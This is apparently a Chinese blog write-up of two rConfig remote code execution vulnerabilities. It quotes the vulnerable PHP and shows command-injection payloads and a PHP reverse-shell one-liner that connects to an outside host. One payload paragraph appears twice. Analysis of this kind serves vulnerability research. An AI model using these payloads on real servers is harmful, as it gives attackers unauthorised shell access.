CVE-2019-16662,CVE-2019-16663:rConfig网络设备配置管理工具的两个远程代码执行漏洞分析
摘要:rConfig是一个开源网络设备配置管理实用程序,借助rConfig,网络工程师可以快速,频繁地管理网络设备的快照,其中找到两个远程代码执行漏洞CVE-2019-16662,CVE-2019-16663。
第一个文件是ajaxServerSettingsChk.php,其中rootUname参数在源文件的第2行中定义,然后传递给第13行的exec函数,攻击者可以通过rootUname参数发送特制的GET请求,并使用此命令来触发 未经授权的远程代码执行。 攻击者只需将恶意命令注入此参数,然后在目标服务器上执行该命令即可完成攻击。
第二个RCE漏洞位于search.crud.php文件中。 攻击者可以发送特制的GET请求来触发漏洞。 这个请求需要包含两个参数,searchTerm参数可以包含任何值,但是这个参数必须有,否则,第63行的exec函数将无法正常执行。
漏洞分析...1
运行脚本后,我们可以看到脚本的输出。 在检查文件的过程中,找到了一个名为ajaxServerSettingsChk.php的文件,文件路径为install / lib / ajaxHandlers / ajaxServerSettingsChk.php,部分代码段如下:
<?php
$rootUname = $_GET['rootUname']; // line 2
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
$array['phpSafeMode'] = '&lt;strong&gt;&lt;font class=&quot;bad&quot;&gt;Fail - php safe mode is on - turn it off before you proceed with the installation&lt;/strong&gt;&lt;/font&gt;br/&gt;';
} else {
$array['phpSafeMode'] = '&lt;strong&gt;&lt;font class=&quot;Good&quot;&gt;Pass - php safe mode is off&lt;/strong&gt;&lt;/font&gt;&lt;br/&gt;';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&gt;&amp;1'; // line 12
exec($rootTestCmd1, $cmdOutput, $err); // line 13
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
$array['rootDetails'] = '&lt;strong&gt;&lt;font class=&quot;Good&quot;&gt;Pass - root account details are good &lt;/strong&gt;&lt;/font&gt;&lt;br/&gt;';
} else {
$array['rootDetails'] = '&lt;strong&gt;&lt;font class=&quot;bad&quot;&gt;The root details provided have not passed: ' . $cmdOutput[0] . '&lt;/strong&gt;&lt;/font&gt;&lt;br/&gt;';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&gt;&amp;1'; // line 21
exec($rootTestCmd2, $cmdOutput, $err); // line 22
echo json_encode($array);
在第二行代码中,脚本将GET请求中的rootUname参数的值保存到$ rootUname。 在第12行,代码将$ rootUname与其他一些字符串连接在一起,将其保存在$ rootTestCmd1中,最后将其传递给第13行的exec函数。其余代码相同。
因此,我们只需要注入需要执行的命令,然后跳出第13行中原始代码的执行流程并执行我们的代码。 为此,我们需要使用以下有效负载:
; your command #
在测试Payload时,修改了代码,并在第13行显示了exec()函数的结果,然后编码并发送了有效负载:
如上所示,我们可以通过rootUname参数发送编码后的“; id#”命令。 要获取Shell,我们可以使用以下Payload:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");
注意:之所以使用这个payload,是为了避免使用nc,因为这个程序在CentOS 7.7 mini上默认是没有安装的。
编码payload并使用Burp发送后,结果如下:
如上所示,我们可以通过rootUname参数发送编码后的“; id#”命令。 要获取Shell,我们可以使用以下Payload:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");
注意:之所以使用这个payload,是为了避免使用nc,因为这个程序在CentOS 7.7 mini上默认是没有安装的。
编码payload并使用Burp发送后,结果如下:
没错,我们成功获得了Shell!
为了使整个过程自动化编写了一个Python脚本:
运行此脚本后,我们可以看到如下所示的结果:
再次拿到了shell!
漏洞分析.....2
在RCEScanner的扫描结果列表中,还有一个名为“ lib / crud / search.crud.php”的文件引起了注意。 该文件包含以下代码:
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) { // line 25
/* validation */
$searchTerm = '"' . $_GET['searchTerm'] . '"'; // line 27
$catId = $_GET['catId'];
$catCommand = $_GET['catCommand']; // line 29
$nodeId = $_GET['nodeId']; // line 30
$grepNumLineStr = $_GET['numLinesStr'];
$grepNumLine = $_GET['noLines'];
$username = $_SESSION['username'];
// if nodeId was empty set it to blank
if (empty($nodeId)) {
$nodeId = '';
} else {
$nodeId = '/' . $nodeId . '/';
}
$returnArr = array();
// Get the category Name from the Category selected
$db2->query("SELECT categoryName from `categories` WHERE id = :catId");
$db2->bind(':catId', $catId);
$resultCat = $db2->resultset();
$returnArr['category'] = $resultCat[0]['categoryName'];
// get total file count
$fileCount = array();
$subDir = "";
if (!empty($returnArr['category'])) {
$subDir = "/" . $returnArr['category'];
}
exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr); // line 57
$returnArr['fileCount'] = $fileCountArr['0'];
//next find all instances of the search term under the specific cat/dir
$command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done'; // line 61
// echo $command;die();
exec($command, $searchArr); // line 63
首先,我们需要发送带有searchTerm参数的GET请求以绕过第25行的if语句,以便我们可以进入代码执行主体。 接下来,我们需要发送另一个包含catCommand参数的GET请求,并将其注入到我们的Payload中。 该参数将在第61行与其他字符串连接在一起。存储在$command中后,将在第63行将其传递给exec()以执行。
在这里打算使用sleep()来测试逻辑是否可行。 此Payload将使代码暂停5秒钟。 经过分析发现这里可以使用多个Payload来绕过字符串转义并执行我们的代码。 :
""&&$(`sleep 5`)#
使用Burp发送请求后,得到的结果如下:
没错,我们的sleep逻辑生效了,也就是注入的命令成功执行了。
我们的目的是获取Shell,这里使用了一段PHP代码,然后与其他字符串拼接在一起:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
为了自动化实现整个漏洞利用过程编写了一个简单的Python脚本:
运行漏洞脚本后,结果如下图所示:
我们又拿到了Shell!
此漏洞已修复。
相关热词搜索:CVE-2019-16662 CVE-2019-16663 rConfig 网络设备配置 远程代码执行漏洞 重庆网络安全
上一篇:PayPal登录界面高危漏洞:分析身份验证机制,通过请求验证码质询服务端(reCAPTCHA challenge),获取注册邮箱和明文密码
下一篇:Sudo漏洞(CVE-2019-18634):在某些配置下,它可能允许低特权用户或恶意程序在Linux或macOS系统上以root用户身份执行命令。
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了